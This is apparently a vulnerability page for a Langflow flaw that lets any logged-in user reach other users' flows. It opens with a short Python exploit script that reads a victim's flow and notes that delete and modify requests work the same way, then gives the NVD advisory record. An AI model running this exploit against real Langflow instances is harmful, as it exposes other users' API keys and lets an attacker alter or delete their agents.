CVE-2026-34046

import requests # Target configuration target_host = "http://vulnerable-langflow-instance" victim_flow_id = "<uuid_of_victim_flow>" # UUID of the flow to access attacker_token = "<attacker_auth_token>" # Valid token of any authenticated user # Headers headers = { "Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json" } # Exploit: Read arbitrary flow (Bypass Ownership Check) url = f"{target_host}/api/v1/flows/{victim_flow_id}" response = requests.get(url, headers=headers) if response.status_code == 200: print("[+] Vulnerability Exploited Successfully!") print("[+] Flow Data:") print(response.json()) else: print("[-] Failed to exploit") print(response.text) # Note: Similar requests can be sent to DELETE or PUT (modify) the flow.

{"cve": {"id": "CVE-2026-34046", "sourceIdentifier": "[email protected]", "published": "2026-03-27T21:17:27.753", "lastModified": "2026-05-11T14:23:34.330", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.5.1, the `_read_flow` helper in `src/backend/base/langflow/api/v1/flows.py` branched on the `AUTO_LOGIN` setting to decide whether to filter by `user_id`. When `AUTO_LOGIN` was `False` (i.e., authentication was enabled), neither branch enforced an ownership check — the query returned any flow matching the given UUID regardless of who owned it. This allowed any authenticated user to read any other user's flow, including embedded plaintext API keys; modify the logic of another user's AI agents, and/or delete flows belonging to other users. The vulnerability was introduced by the conditional logic that was meant to accommodate public/example flows (those with `user_id = NULL`) under auto-login mode, but inadvertently left the authenticated path without an ownership filter. The fix in version 1.5.1 removes the `AUTO_LOGIN` conditional entirely and unconditionally scopes the query to the requesting user."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}, {"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:langflow:langflow:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.5.0", "matchCriteriaId": "A2B9A67D-F960-425C-B4EB-99EC59D6B425"}, {"vulnerable": true, "criteria": "cpe:2.3:a:langflow:langflow:1.5.0:dev0:*:*:*:*:*:*", "matchCriteriaId": "433E1411-65A6-4938-B8EE-983C07145FC7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:langflow:langflow:1.5.0:dev1:*:*:*:*:*:*", "matchCriteriaId": "85F6671F-A02B-4B74-AA22-09EA710B7130"}, {"vulnerable": true, "criteria": "cpe:2.3:a:langflow:langflow-base:*:*:*:*:*:python:*:*", "versionEndExcluding": "0.5.1", "matchCriteriaId": "C364A228-0EEC-47C5-90A8-07A12DCF48D7"}]}]}], "references": [{"url": "https://github.com/langflow-ai/langflow/pull/8956", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-8c4j-f57c-35cf", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}